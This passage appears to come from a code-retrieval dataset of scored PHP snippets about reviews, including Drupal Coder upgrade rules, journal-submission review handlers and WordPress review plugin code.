),\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#function' => '_(un)?install$|_update_[0-9]+$',\n '#value' => '\\$GLOBALS\\[[\\'\"]?db_type[\\'\"]?\\]',\n '#warning_callback' => '_coder_6x_schema_api_warning',\n ),\n array(\n '#type' => 'regex',\n '#source' => 'all',\n '#function' => '_submit$|_validate$',\n '#value' => '\\$form(_values)?\\[[\\'\"][A-Za-z]',\n '#warning' => 'use $form_state[\\'values\\'] instead, which is where the values are stored after a submit',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]theme_get_function\\s*\\(',\n '#warning_callback' => '_coder_6x_theme_get_function_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]db_num_rows\\s*\\(',\n '#warning_callback' => '_coder_6x_db_num_rows_warning',\n ),\n array(\n '#type' => 'regex',\n '#value' => '[\\s\\(]drupal_retrieve_form\\s*\\('. $argex .'\\s*\\)',\n '#warning_callback' => '_coder_6x_drupal_retrieve_form_warning',\n ),\n array(\n '#type' => 'regex',\n '#function' => '_menu$',\n '#value' => 'node\\/add\\/',\n '#source' => 'all',\n '#warning_callback' => '_coder_6x_menu_node_add_warning',\n ),\n );\n $review = array(\n '#title' => t('Converting 5.x modules to 6.x'),\n '#link' => 'http://drupal.org/node/114774',\n '#rules' => $rules,\n '#severity' => 'critical',\n );\n return array('upgrade6x' => $review);\n}", "title": "" }, { "docid": "5ea1563a30af919f27b4dd45efab4e85", "score": "0.50226915", "text": "public function getReviewText() {\n return Yii::t('ReviewsModule.msg', 'Pluses') . \": {$this->pluses} <br /> \" . Yii::t('ReviewsModule.msg', 'Cons') . \": {$this->cons} <br /> \" . Yii::t('ReviewsModule.msg', 'General') . \": {$this->general}\";\n }", "title": "" }, { "docid": "8583440138992ed046ad4d854a122ac4", "score": "0.4995193", "text": "function getEditorDecisions($articleId, $round = null) {\n\t\t$decisions = array();\n\n\t\tif ($round == null) {\n\t\t\t$result = &$this->retrieve(\n\t\t\t\t'SELECT edit_decision_id, editor_id, decision, date_decided FROM edit_decisions WHERE article_id = ? ORDER BY date_decided ASC', $articleId\n\t\t\t);\n\t\t} else {\n\t\t\t$result = &$this->retrieve(\n\t\t\t\t'SELECT edit_decision_id, editor_id, decision, date_decided FROM edit_decisions WHERE article_id = ? AND round = ? ORDER BY date_decided ASC',\n\t\t\t\tarray($articleId, $round)\n\t\t\t);\n\t\t}\n\n\t\twhile (!$result->EOF) {\n\t\t\t$decisions[] = array(\n\t\t\t\t'editDecisionId' => $result->fields['edit_decision_id'],\n\t\t\t\t'editorId' => $result->fields['editor_id'],\n\t\t\t\t'decision' => $result->fields['decision'],\n\t\t\t\t'dateDecided' => $this->datetimeFromDB($result->fields['date_decided'])\n\t\t\t);\n\t\t\t$result->moveNext();\n\t\t}\n\t\t$result->Close();\n\t\tunset($result);\n\n\t\treturn $decisions;\n\t}", "title": "" }, { "docid": "351b0b726a9c38bf661d3473b61e0d09", "score": "0.49796405", "text": "public function getFilmReview()\n\t{\n\t\treturn $this->film_review;\n\t}", "title": "" }, { "docid": "61154f42cf1b1b10b8dd89ee03b74652", "score": "0.497403", "text": "function submissionReview($args) {\n\t\t$user =& Request::getUser();\n\t\t$monographId = isset($args[0]) ? (int) $args[0] : 0;\n\n\t\t$this->validate($monographId);\n\t\t$authorSubmission =& $this->submission;\n\t\t$this->setupTemplate(true, $monographId);\n\t\tLocale::requireComponents(array(LOCALE_COMPONENT_OMP_EDITOR)); // editor.article.decision etc. FIXME?\n\n\t\t$reviewAssignmentDao =& DAORegistry::getDAO('ReviewAssignmentDAO');\n\t\t$reviewModifiedByRound = $reviewAssignmentDao->getLastModifiedByRound($monographId);\n\t\t$reviewEarliestNotificationByRound = $reviewAssignmentDao->getEarliestNotificationByRound($monographId);\n\t\t$reviewFilesByRound =& $reviewAssignmentDao->getReviewFilesByRound($monographId);\n\t\t$authorViewableFilesByRound =& $reviewAssignmentDao->getAuthorViewableFilesByRound($monographId);\n\n\t\t$editorDecisions = $authorSubmission->getDecisions($authorSubmission->getCurrentReviewType(), $authorSubmission->getCurrentRound());\n\t\t$lastDecision = count($editorDecisions) >= 1 ? $editorDecisions[count($editorDecisions) - 1] : null;\n\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$reviewAssignments =& $authorSubmission->getReviewAssignments();\n\t\t$templateMgr->assign_by_ref('reviewAssignments', $reviewAssignments);\n\t\t$templateMgr->assign_by_ref('submission', $authorSubmission);\n\t\t$templateMgr->assign_by_ref('reviewFilesByRound', $reviewFilesByRound);\n\t\t$templateMgr->assign_by_ref('authorViewableFilesByRound', $authorViewableFilesByRound);\n\t\t$templateMgr->assign_by_ref('reviewModifiedByRound', $reviewModifiedByRound);\n\n\t\t$reviewIndexesByRound = array();\n\t\t$monographDao =& DAORegistry::getDAO('MonographDAO');\n\t\t$reviewRounds =& $monographDao->getReviewRoundsInfoById($monographId);\n\n\t\t$reviewIndexesByRound = array();\n\t\tfor ($round = 1; $round <= $authorSubmission->getCurrentRound(); $round++) {\n\t\t\t$reviewIndexesByRound[$round] = $reviewAssignmentDao->getReviewIndexesForRound($articleId, $round);\n\t\t}\n\t\t$templateMgr->assign_by_ref('reviewIndexesByRound', $reviewIndexesByRound);\n\n\t\t$templateMgr->assign('pageToDisplay', 'submissionReview');\n\t\t$templateMgr->assign_by_ref('reviewRounds', $reviewRounds);\n\t\t$templateMgr->assign('reviewEarliestNotificationByRound', $reviewEarliestNotificationByRound);\n\t\t$templateMgr->assign_by_ref('submissionFile', $authorSubmission->getSubmissionFile());\n\t\t$templateMgr->assign_by_ref('revisedFile', $authorSubmission->getRevisedFile());\n\t\t$templateMgr->assign('lastEditorDecision', $lastDecision);\n\t\t$templateMgr->assign('editorDecisionOptions',\n\t\t\tarray(\n\t\t\t\t'' => 'common.chooseOne',\n\t\t\t\tSUBMISSION_EDITOR_DECISION_ACCEPT => 'editor.monograph.decision.accept',\n\t\t\t\tSUBMISSION_EDITOR_DECISION_PENDING_REVISIONS => 'editor.monograph.decision.pendingRevisions',\n\t\t\t\tSUBMISSION_EDITOR_DECISION_RESUBMIT => 'editor.monograph.decision.resubmit',\n\t\t\t\tSUBMISSION_EDITOR_DECISION_DECLINE => 'editor.monograph.decision.decline'\n\t\t\t)\n\t\t);\n\t\t$templateMgr->assign('helpTopicId', 'editorial.authorsRole.review');\n\t\t$templateMgr->display('author/submission.tpl');\n\t}", "title": "" }, { "docid": "ff2fb4f961eda4f2c63d693080ed9534", "score": "0.4931363", "text": "public function getHumanReviewStatus()\n {\n return $this->human_review_status;\n }", "title": "" }, { "docid": "81957cb2f7b728511cbfe3055932d45b", "score": "0.49192178", "text": "public function api_saveReview( $params ) {\n\t\t$text = postVar('text');\n\t\t$markup = preg_replace( '/<span class=\\\"highlighted\\\".*?>(.*?)<\\/span>/', '<'. self::TAGNAME .'>$1</'. self::TAGNAME .'>', $text );\n\t\t$markup = preg_replace( '/<(?!\\/'. self::TAGNAME .'|'. self::TAGNAME .').*?>/', '', $markup );\n\n\t\t$CrawlerReview = \\Site\\CrawlerReview::getById( postVar('id') );\n\t\tif( $CrawlerReview ) {\n\t\t\t$Review = \\Site\\Review::add( $CrawlerReview->getMovie(), $CrawlerReview );\n\t\t\tif( $Review ) {\n\t\t\t\t$CrawlerReview->reviewId = $Review->getPrimaryKeyValue();\n\t\t\t\t$Review->title = postVar('title');\n\t\t\t\t$Review->subtitle = postVar('subtitle');\n\t\t\t\t$Review->text = $markup;\n\t\t\t\t$Review->examined = 1;\n\t\t\t\tif( postVar('decision') == 'discard' )\n\t\t\t\t\t$Review->suitable = 0;\n\t\t\t\tif( postVar('decision') == 'accept' )\n\t\t\t\t\t$Review->suitable = 1;\n\t\t\t\t$CrawlerReview->adopt();\n\t\t\t\tif( $Review->adopt() ) {\n\t\t\t\t\treturn $Review->getColumns();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "7f50c730c25ea04065cc55f238e4a217", "score": "0.4886199", "text": "function mkdf_tours_reviews_criteria_check() {\n\t\t$allowed_values = range(1, MIKADO_TOURS_REVIEWS_MAX_RATING); // system n out of MIKADO_TOURS_REVIEWS_MAX_RATING stars\n\t\t$missing_criteria = '';\n\t\t$review_criteria = mkdf_tours_reviews_get_criteria();\n\n\t\tif(isset($_POST['mkdf_reviews_comment_type']) && $_POST['mkdf_reviews_comment_type'] === 'review') {\n\t\t\tforeach($review_criteria as $review_criterion) {\n\t\t\t\tif(!in_array((int) $_POST[MIKADO_TOURS_REVIEWS_PREFIX.$review_criterion->slug], $allowed_values)) {\n\t\t\t\t\t$missing_criteria .= (strlen($missing_criteria) ? ', ' : '').$review_criterion->name;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(strlen($missing_criteria)) {\n\t\t\t\t// Prevent comment from being saved and die immediately.\n\t\t\t\twp_die(esc_html__('You must rate the following before submitting the comment:', 'mikado-tours').' '.$missing_criteria.'. '.esc_html__('Please try again.', 'mikado-tours'));\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "3318a9e18cde258fc4e25de353140a21", "score": "0.48662126", "text": "function rendu_comments($content){\r\n if(is_commentmood_deactivated_for_this_post(get_the_guid()) == false)\r\n return $content;\r\n\tglobal $current_comment_id;\r\n\tglobal $wpdb;\r\n \t$table = $wpdb->prefix.\"commentMood\";\r\n \t$current_ambiance = $wpdb->get_var(\"SELECT mood_value FROM $table WHERE comment_ID = \".get_comment_ID().\" ;\");\r\n $length = strlen(get_option('textGood')) * 10;\r\n\r\n\tif($current_ambiance == 1){ \r\n if(get_option('visibility_type') == 'text-decoration')\r\n $content=\"<font color='\".get_option('colorGood').\"'>\".$content.\"</font>\"; \r\n if(get_option('visibility_type') == 'comment-decoration')\r\n $content=\"<div style='background-color:\".get_option('colorGood').\"'>\".$content.\"</div>\"; \r\n if(get_option('visibility_type') == 'pastilleTop-decoration')\r\n $content=\"<div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorGood').\";'>\".get_option('textGood').\"</div><br />\".$content;\r\n if(get_option('visibility_type') == 'pastilleBottom-decoration')\r\n $content=$content.\"<br /><div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorGood').\";'>\".get_option('textGood').\"</div>\";\r\n }\r\n if($current_ambiance == 2) {\r\n if(get_option('visibility_type') == 'text-decoration')\r\n $content=\"<font color='\".get_option('colorBad').\"'>\".$content.\"</font>\"; \r\n if(get_option('visibility_type') == 'comment-decoration')\r\n $content=\"<div style='background-color:\".get_option('colorBad').\"'>\".$content.\"</div>\";\r\n if(get_option('visibility_type') == 'pastilleTop-decoration')\r\n $content=\"<div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorBad').\";'>\".get_option('textBad').\"</div><br />\".$content;\r\n if(get_option('visibility_type') == 'pastilleBottom-decoration')\r\n $content=$content.\"<br /><div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorBad').\";'>\".get_option('textBad').\"</div>\";\r\n }\r\n if($current_ambiance == NULL) {\r\n if(get_option('visibility_type') == 'text-decoration')\r\n $content=\"<font color='\".get_option('colorNeutre').\"'>\".$content.\"</font>\"; \r\n if(get_option('visibility_type') == 'comment-decoration')\r\n $content=\"<div style='background-color:\".get_option('colorNeutre').\"'>\".$content.\"</div>\";\r\n if(get_option('visibility_type') == 'pastilleTop-decoration')\r\n $content=\"<div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorNeutre').\";'> \".get_option('textNeutre').\"</div><br />\".$content;\r\n if(get_option('visibility_type') == 'pastilleBottom-decoration')\r\n $content=$content.\"<br /><div style='text-align:center;color:white;width:\".$length.\"px;background-color:\".get_option('colorNeutre').\";'>\".get_option('textNeutre').\"</div>\";\r\n } \r\n return $content;\r\n}", "title": "" }, { "docid": "970406beacb78b4f81f43db7832af826", "score": "0.48240343", "text": "public function reviewAction() {\n echo 'This is Review!';\n echo '<dl>';\n foreach($this->getRequest()->getParams() as $key=>$value) {\n echo '<dt><strong>Param: </strong>'.$key.'</dt>';\n echo '<dl><strong>Value: </strong>'.$value.'</dl>';\n }\n echo '</dl>';\n }", "title": "" }, { "docid": "d699952c8e4b5d23af3ea8df23bb45bf", "score": "0.48093075", "text": "function dentario_reviews_check_criterias() {\n\t\tif ( !wp_verify_nonce( dentario_get_value_gp('nonce'), admin_url('admin-ajax.php') ) )\n\t\t\tdie();\n\t\n\t\t$response = array('error'=>'', 'criterias' => '');\n\t\t\n\t\t$ids = explode(',', $_REQUEST['ids']);\n\t\tif (is_array($ids) && count($ids) > 0) {\n\t\t\tforeach ($ids as $id) {\n\t\t\t\t$id = (int) $id;\n\t\t\t\t$prop = dentario_taxonomy_get_inherited_property('category', $id, 'reviews_criterias');\n\t\t\t\tif (!empty($prop) && !dentario_is_inherit_option($prop)) {\n\t\t\t\t\t$response['criterias'] = implode(',', $prop);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\techo json_encode($response);\n\t\tdie();\n\t}", "title": "" }, { "docid": "2613ecf405383aeb04486ca8c281119a", "score": "0.48084357", "text": "function getIcon_review($extRepRow,$keyRow,$textMode=0,$dontShowPrev=0)\t{\n\t\t$review='';\n\t\t$text='';\n\t\t$dimmed=0;\n\t\tif (!$keyRow['tx_extrepmgm_appr_flag'])\t{\n\t\t\t$stat = $extRepRow['tx_extrepmgm_appr_status'];\n\t\t\t$revUser = $extRepRow['tx_extrepmgm_appr_fe_user'] ? $this->pi_getRecord('fe_users',$extRepRow['tx_extrepmgm_appr_fe_user']) : \"\";\n\n\t\t\tif (!$dontShowPrev && (!is_array($revUser) && !$stat))\t{\t// If no reviewer is set and if no status is set, then show the previous state...\n\t\t\t\t$infoA = unserialize($keyRow['tx_extrepmgm_cache_infoarray']);\n#debug($infoA);\n\t\t\t\t$stat = $infoA['tx_extrepmgm_appr_status'];\n\t\t\t\t$dimmed=1;\n\t\t\t\t$revUser = $infoA['tx_extrepmgm_appr_fe_user'] ? $this->pi_getRecord('fe_users',$infoA['tx_extrepmgm_appr_fe_user']) : \"\";\n#debug(array($stat,$revUser));\n\t\t\t}\n\n\t\t\tif (!is_array($revUser))\t{$stat=0; $dimmed=0;}\n\t\t\tif ($img = $this->reviewStates[$stat][2])\t{\n\t\t\t\tif (is_array($revUser) && !$stat)\t{\n\t\t\t\t\t$review='<img src=\"'.t3lib_extMgm::siteRelPath('extrep_mgm').'res/0_reviewing.gif\" width=50 height=50 '.$imgParams.'>';\n\t\t\t\t\t$text='Being reviewed';\n\t\t\t\t} else {\n\t\t\t\t\t$review='<img src=\"'.t3lib_extMgm::siteRelPath('extrep_mgm').'res/'.($dimmed?'dim_':'').$img.'\" width=50 height=50 title=\"'.htmlentities(is_array($revUser)?'Reviewer: '.$revUser['username']:'').'\"'.$imgParams.'>';\n\t\t\t\t\t$text=$this->reviewStates[$stat][0];\n\t\t\t\t}\n\t\t\t\tif ($dimmed)\t$text='<span style=\"color:#999999;\">'.$text.'</span>';\n\t\t\t} else $review=$stat;\n\t\t} else {\n\t\t\t$review='';\n\t\t}\n\n\t\tif ($review)\t{\n\t\t\tswitch($textMode)\t{\n\t\t\t\tcase 2:\n\t\t\t\t\treturn $review;\n\t\t\t\tbreak;\n\t\t\t\tcase 1:\n\t\t\t\t\treturn '<table border=0 cellpadding=0 cellspacing=3><tr><td>'.$review.'</td><td>'.$text.'</td></tr></table>';\n\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\treturn $review.'<br>'.$text;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "b3f615e9407141091ecf99705b4273c9", "score": "0.47825497", "text": "protected function getReviewHelp()\n {\n return <<<EOL\nExample usage:\n <c2>./ycli r GHF-0002</c2> Fetch reviews for GHF-0002 using default values for <b>page</b>, <b>count</b> and <b>fromDate</b>\n <c2>./ycli r GHF-0002 -p 1 -c 2</c2> Fetch reviews for GHF-0002 on page 1 with a page size of 2 using the default value for <b>fromDate</b>\nEOL;\n\n }", "title": "" }, { "docid": "d7b8d851b171509345fb7b9edcf7407d", "score": "0.47777846", "text": "public function actionReviewPOST()\r\n {\r\n // validate base stuff\r\n $contrib = $this->validateContribInputs(UserRoles::REVIEWER, $_POST, array('contribid', 'note'), false);\r\n if (!$contrib)\r\n return;\r\n\r\n // validate presence of reviewing criterias\r\n $criterias = array('originality', 'topic', 'structure', 'language', 'recommendation');\r\n $errorArray = array();\r\n foreach ($criterias as $cr)\r\n {\r\n if (!isset($_POST[$cr]) || !is_numeric($_POST[$cr]))\r\n $errorArray[$cr] = Sanitizers::createErrorMessage('Toto pole', Sanitizers::IS_REQUIRED, Sanitizers::SUBJECT_IT);\r\n }\r\n\r\n // if some errors are present, send it to client\r\n if (count($errorArray) > 0)\r\n {\r\n $this->sendResponseJSON($errorArray, AjaxResponseCodes::FORM_ERROR);\r\n return;\r\n }\r\n\r\n // verify assignee for reviewer attempt\r\n if (!$this->isAuthorizedForReview($contrib))\r\n return;\r\n\r\n // remove old rating, if any\r\n $this->contributions()->removeContributionRating($contrib['id'], $this->loggedUser['id']);\r\n // create new rating\r\n $this->contributions()->addContributionRating($contrib['id'], $this->loggedUser['id'],\r\n (int)$_POST['originality'], (int)$_POST['topic'], (int)$_POST['structure'],\r\n (int)$_POST['language'], (int)$_POST['recommendation'], htmlspecialchars($_POST['note']));\r\n\r\n $this->flashMessage(\"Vaše hodnocení bylo zaznamenáno\", \"success\");\r\n $this->sendResponseJSON(array(), AjaxResponseCodes::OK, '/dashboard/reviewlist');\r\n }", "title": "" }, { "docid": "0d8f6b3fcdcc6d12dfaa4314c7d04653", "score": "0.47727668", "text": "function &getReviewAssignment($monographId, $reviewerId, $reviewType, $round) {\n\n\t\t$result =& $this->retrieve('\n\t\t\t\t\tSELECT r.*, r2.review_revision, a.review_file_id, u.first_name, u.last_name \n\t\t\t\t\tFROM review_assignments r \n\t\t\t\t\tLEFT JOIN users u ON (r.reviewer_id = u.user_id) \n\t\t\t\t\tLEFT JOIN review_rounds r2 ON (r.monograph_id = r2.monograph_id AND r.round = r2.round) \n\t\t\t\t\tLEFT JOIN monographs a ON (r.monograph_id = a.monograph_id) \n\t\t\t\t\tWHERE r.monograph_id = ? AND \n\t\t\t\t\t\tr.reviewer_id = ? AND \n\t\t\t\t\t\tr.cancelled <> 1 AND \n\t\t\t\t\t\tr.review_type = ? AND \n\t\t\t\t\t\tr.round = ?',\n\t\t\t\t\tarray((int) $monographId, (int) $reviewerId, (int) $reviewType, (int) $round)\n\t\t\t\t);\n\n\t\t$returner = null;\n\t\tif ($result->RecordCount() != 0) {\n\t\t\t$returner =& $this->_fromRow($result->GetRowAssoc(false));\n\t\t}\n\n\t\t$result->Close();\n\t\tunset($result);\n\n\t\treturn $returner;\n\t}", "title": "" }, { "docid": "cf52741395c250f6f48639b284d7c1d8", "score": "0.47712895", "text": "function render_review_view() {\n $id = filter_input(INPUT_GET, 'id');\n global $review;\n global $log;\n global $db;\n \n // POST\n $action = filter_input(INPUT_POST, 'action');\n if ($action == 'create') { \n $log->log('review CREATE'); // CREATE\n add_review();\n }\n if ($action == 'update') {\n $log->log('review UPDATE'); // UPDATE\n update_review ();\n }\n\n // GET\n $action = filter_input(INPUT_GET, 'action');\n if (empty($action)) { \n $log->log('review READ'); // READ\n return review_list_view(query_review());\n }\n if ($action == 'add') {\n $log->log('review Add View');\n return add_review_view();\n }\n if ($action == 'delete') {\n $log->log('review DELETE'); // DELETE\n return delete_review($id);\n }\n if ($action == 'edit' and ! empty($id)) {\n $log->log('review Edit View');\n return edit_review_view(get_review($id));\n }\n }", "title": "" }, { "docid": "f7df895af199009e6b7aad6e7101ff0b", "score": "0.47592613", "text": "function updateEditorDecisionNotification($monograph, $decision, &$request) {\n\n\t\t$press =& $request->getPress();\n\n\t\t// Get the monograph submitter id.\n\t\t$userId = $monograph->getUserId();\n\n\t\t// Remove any existing editor decision notifications.\n\t\t$notificationDao =& DAORegistry::getDAO('NotificationDAO');\n\t\t$notificationFactory =& $notificationDao->getNotificationsByAssoc(\n\t\t\tASSOC_TYPE_MONOGRAPH,\n\t\t\t$monograph->getId(),\n\t\t\t$userId,\n\t\t\tnull,\n\t\t\t$press->getId()\n\t\t);\n\n\t\t$editorDecisionNotificationTypes = $this->_getAllEditorDecisionNotificationTypes();\n\t\twhile(!$notificationFactory->eof()) {\n\t\t\t$notification =& $notificationFactory->next();\n\t\t\tif (in_array($notification->getType(), $editorDecisionNotificationTypes)) {\n\t\t\t\t$notificationDao->deleteNotificationById($notification->getId());\n\t\t\t}\n\t\t}\n\n\t\t// Get the right notification type and level for the current editor decision.\n\t\t$notificationParams = $this->_getEditorDecisionNotificationParameters($decision);\n\t\tif (empty($notificationParams)) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Create the notification.\n\t\tPKPNotificationManager::createNotification(\n\t\t\t$request,\n\t\t\t$userId,\n\t\t\t$notificationParams['type'],\n\t\t\t$press->getId(),\n\t\t\tASSOC_TYPE_MONOGRAPH,\n\t\t\t$monograph->getId(),\n\t\t\t$notificationParams['level']\n\t\t);\n\t}", "title": "" }, { "docid": "fc6f1e7b6e5541dfbedf68f842744f14", "score": "0.47559786", "text": "function critic_reviews($film) {\n\t\t$review_files = glob(\"$film/review*.txt\");\n\t\t$num_rev = count($review_files);\n\n\t\tif ($num_rev > 1) {\n\t\t\t$half = (int) ($num_rev / 2);\n\t\t\t$helper = $half;\n\t\t\tif ($num_rev % 2 == 0) {\n\t\t\t\tshow_reviews($review_files, $half, $helper);\n\t\t\t\tshow_reviews($review_files, $half, $num_rev);\n\t\t\t} else {\n\t\t\t\tshow_reviews($review_files, $half + 1, $helper + 1);\n\t\t\t\tshow_reviews($review_files, $half, $num_rev);\n\t\t\t}\n\t\t} else {\n\t\t\tshow_reviews($review_files, 1, 1);\n\t\t}\n\n\t\treturn $num_rev;\n\t}", "title": "" }, { "docid": "12a965fa42e5c20670cdbf663d4b0868", "score": "0.47432485", "text": "function getEditorFileRevisions($round = null) {\n\t\tif ($round == null) {\n\t\t\treturn $this->editorFileRevisions;\n\t\t} else {\n\t\t\treturn $this->editorFileRevisions[$round];\n\t\t}\n\t}", "title": "" }, { "docid": "d74de95982da3ff67586b18ee5ccce89", "score": "0.47239947", "text": "public function getExpertConsiderations();", "title": "" }, { "docid": "2f66c21c369eadec5c0ccaef08be92b9", "score": "0.46971723", "text": "private function validateReview() {\r\n\t\t$this->review = $this->extractForm('review');\r\n\t\tif (empty($this->review)) \r\n\t\t\t$this->setError('review', 'REVIEW_EMPTY');\r\n\t}", "title": "" }, { "docid": "4de2b0bcb6ec06de991781f10b1015ce", "score": "0.468252", "text": "public function showReview()\n {\n return $this->_inSearchHelper->showReviewProductSearch();\n }", "title": "" }, { "docid": "14a35a8a34df12500944d6f08e09c1a3", "score": "0.46819097", "text": "public function testWhenAllVotesArePositivesAndHasDrawDrawByOrganizer()\n {\n $restaurants = array(\n 'Japo' => array( 'shushi', 'salmon', 'arroz' ),\n 'Pizzeria 1' => array( 'italiana', 'pasta', 'bacon', 'jamon' ),\n 'Pizzeria 2' => array( 'argentina', 'jamon', 'piña' )\n\n );\n $choice = array(\n 'User 2' => array( 'pasta' => 1, 'salmon' => 1 ),\n 'User 1' => array( 'italiana' => 1, 'shushi' => 1 )\n );\n $organizer = 'User 1';\n\n $this->assertEquals( 'Japo', $this->obj->getRestaurant( $restaurants, $choice, $organizer ),\n 'Test than when exists votes, and there are draw for organizer too, should return the first alphabetical.' );\n }", "title": "" }, { "docid": "9d53a1f386e02118558b0e784c254bfd", "score": "0.46644607", "text": "function wp_review_render_meta_box_userReview( $post ) { // phpcs:ignore\n\t/* Add an nonce field so we can check for it later. */\n\twp_nonce_field( basename( __FILE__ ), 'wp-review-userReview-nonce' );\n\t$enabled = wp_review_get_user_rating_setup( $post->ID );\n\n\t$type = get_post_meta( $post->ID, 'wp_review_user_review_type', true );\n\tif ( ! $type ) {\n\t\t$type = wp_review_option( 'review_type', 'none' );\n\t}\n\t$available_types = wp_review_get_rating_types();\n\t$hide_comments_total = get_post_meta( $post->ID, 'wp_review_hide_comments_total', true );\n\t$hide_visitors_rating = get_post_meta( $post->ID, 'wp_review_hide_visitors_rating', true );\n\t$user_feature_rate = get_post_meta( $post->ID, 'wp_review_user_can_rate_feature', true );\n\t$product_price = wp_review_get_product_price( $post->ID );\n\t$allow_comment_feedback = get_post_meta( $post->ID, 'wp_review_allow_comment_feedback', true );\n\t$comment_pros_cons = get_post_meta( $post->ID, 'wp_review_comment_pros_cons', true );\n\t$comment_image = get_post_meta( $post->ID, 'wp_review_comment_image', true );\n\t$comment_matches = get_post_meta( $post->ID, 'wp_review_comment_product_desc', true );\n\n\t$form_field = new WP_Review_Form_Field();\n\t?>\n\t<div class=\"wp-review-field no-flex\">\n\t\t<p>\n\t\t\t<label>\n\t\t\t\t<input type=\"radio\" name=\"wp_review_userReview\" id=\"wp-review-userReview-disable\" value=\"<?php echo esc_attr( WP_REVIEW_REVIEW_DISABLED ); ?>\" <?php checked( WP_REVIEW_REVIEW_DISABLED, $enabled ); ?>>\n\t\t\t\t<?php esc_html_e( 'Disabled', 'wp-review' ); ?>\n\t\t\t</label>\n\t\t</p>\n\n\t\t<p>\n\t\t\t<label>\n\t\t\t\t<input type=\"radio\" name=\"wp_review_userReview\" id=\"wp-review-userReview-visitor\" value=\"<?php echo esc_attr( WP_REVIEW_REVIEW_VISITOR_ONLY ); ?>\" <?php checked( WP_REVIEW_REVIEW_VISITOR_ONLY, $enabled ); ?>>\n\t\t\t\t<?php esc_html_e( 'Visitor Rating Only', 'wp-review' ); ?>\n\t\t\t</label>\n\t\t</p>\n\n\t\t<p>\n\t\t\t<label>\n\t\t\t\t<input type=\"radio\" name=\"wp_review_userReview\" id=\"wp-review-userReview-comment\" value=\"<?php echo esc_attr( WP_REVIEW_REVIEW_COMMENT_ONLY ); ?>\" <?php checked( WP_REVIEW_REVIEW_COMMENT_ONLY, $enabled ); ?> />\n\t\t\t\t<?php esc_html_e( 'Comment Rating Only', 'wp-review' ); ?>\n\t\t\t</label>\n\t\t</p>\n\n\t\t<p>\n\t\t\t<label>\n\t\t\t\t<input type=\"radio\" name=\"wp_review_userReview\" id=\"wp-review-userReview-both\" value=\"<?php echo esc_attr( WP_REVIEW_REVIEW_ALLOW_BOTH ); ?>\" <?php checked( WP_REVIEW_REVIEW_ALLOW_BOTH, $enabled ); ?> />\n\t\t\t\t<?php esc_html_e( 'Both', 'wp-review' ); ?>\n\t\t\t</label>\n\t\t</p>\n\t</div>\n\n\t<?php $hidden = WP_REVIEW_REVIEW_DISABLED == $enabled ? 'hidden' : ''; ?>\n\t<div class=\"show-if-both <?php echo esc_attr( $hidden ); ?>\">\n\t\t<div class=\"edit-ratings-notice update-nag\" style=\"margin-top: 0;\"><?php esc_html_e( 'If you are changing User Rating Type & post already have user ratings, please edit or remove existing ratings.', 'wp-review' ); ?></div>\n\n\t\t<div class=\"wp-review-field\" id=\"wp_review_rating_type\">\n\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t<label for=\"rating_type\"><?php esc_html_e( 'User Rating Type', 'wp-review' ); ?></label>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t<select name=\"wp_review_user_review_type\" id=\"rating_type\">\n\t\t\t\t\t<?php\n\t\t\t\t\tforeach ( $available_types as $available_type_name => $available_type ) {\n\t\t\t\t\t\t// Skip ones that only have output template.\n\t\t\t\t\t\tif ( ! $available_type['user_rating'] ) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t?>\n\t\t\t\t\t\t<option value=\"<?php echo esc_attr( $available_type_name ); ?>\" <?php selected( $type, $available_type_name ); ?>><?php echo esc_html( $available_type['label'] ); ?></option>\n\t\t\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t\t?>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\n\t<?php $hidden = WP_REVIEW_REVIEW_DISABLED == $enabled ? 'hidden' : ''; ?>\n\t<div class=\"show-if-both <?php echo esc_attr( $hidden ); ?>\">\n\t\t<div class=\"wp-review-field\">\n\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t<label><?php esc_html_e( 'User can:', 'wp-review' ); ?></label>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t<select name=\"wp_review_user_can_rate_feature\" id=\"wp_review_user_can_rate_feature\">\n\t\t\t\t\t<option value=\"\"><?php esc_html_e( 'Give Overall Rating', 'wp-review' ); ?></option>\n\t\t\t\t\t<option value=\"1\" <?php selected( $user_feature_rate, '1' ); ?>><?php esc_html_e( 'Rate Each Feature', 'wp-review' ); ?></option>\n\t\t\t\t</select>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\n\t<?php $hidden = in_array( $enabled, array( WP_REVIEW_REVIEW_DISABLED, WP_REVIEW_REVIEW_COMMENT_ONLY ) ) ? 'hidden' : ''; ?>\n\t<div class=\"show-if-visitor <?php echo esc_attr( $hidden ); ?>\">\n\t\t<div class=\"wp-review-field\">\n\t\t\t<div class=\"wp-review-field-label\">\n\t\t\t\t<label><?php esc_html_e( 'Hide Visitors Rating in Review Box', 'wp-review' ); ?></label>\n\t\t\t</div>\n\n\t\t\t<div class=\"wp-review-field-option\">\n\t\t\t\t<?php\n\t\t\t\t$form_field->render_switch(\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'id' => 'wp_review_hide_visitors_rating',\n\t\t\t\t\t\t'name' => 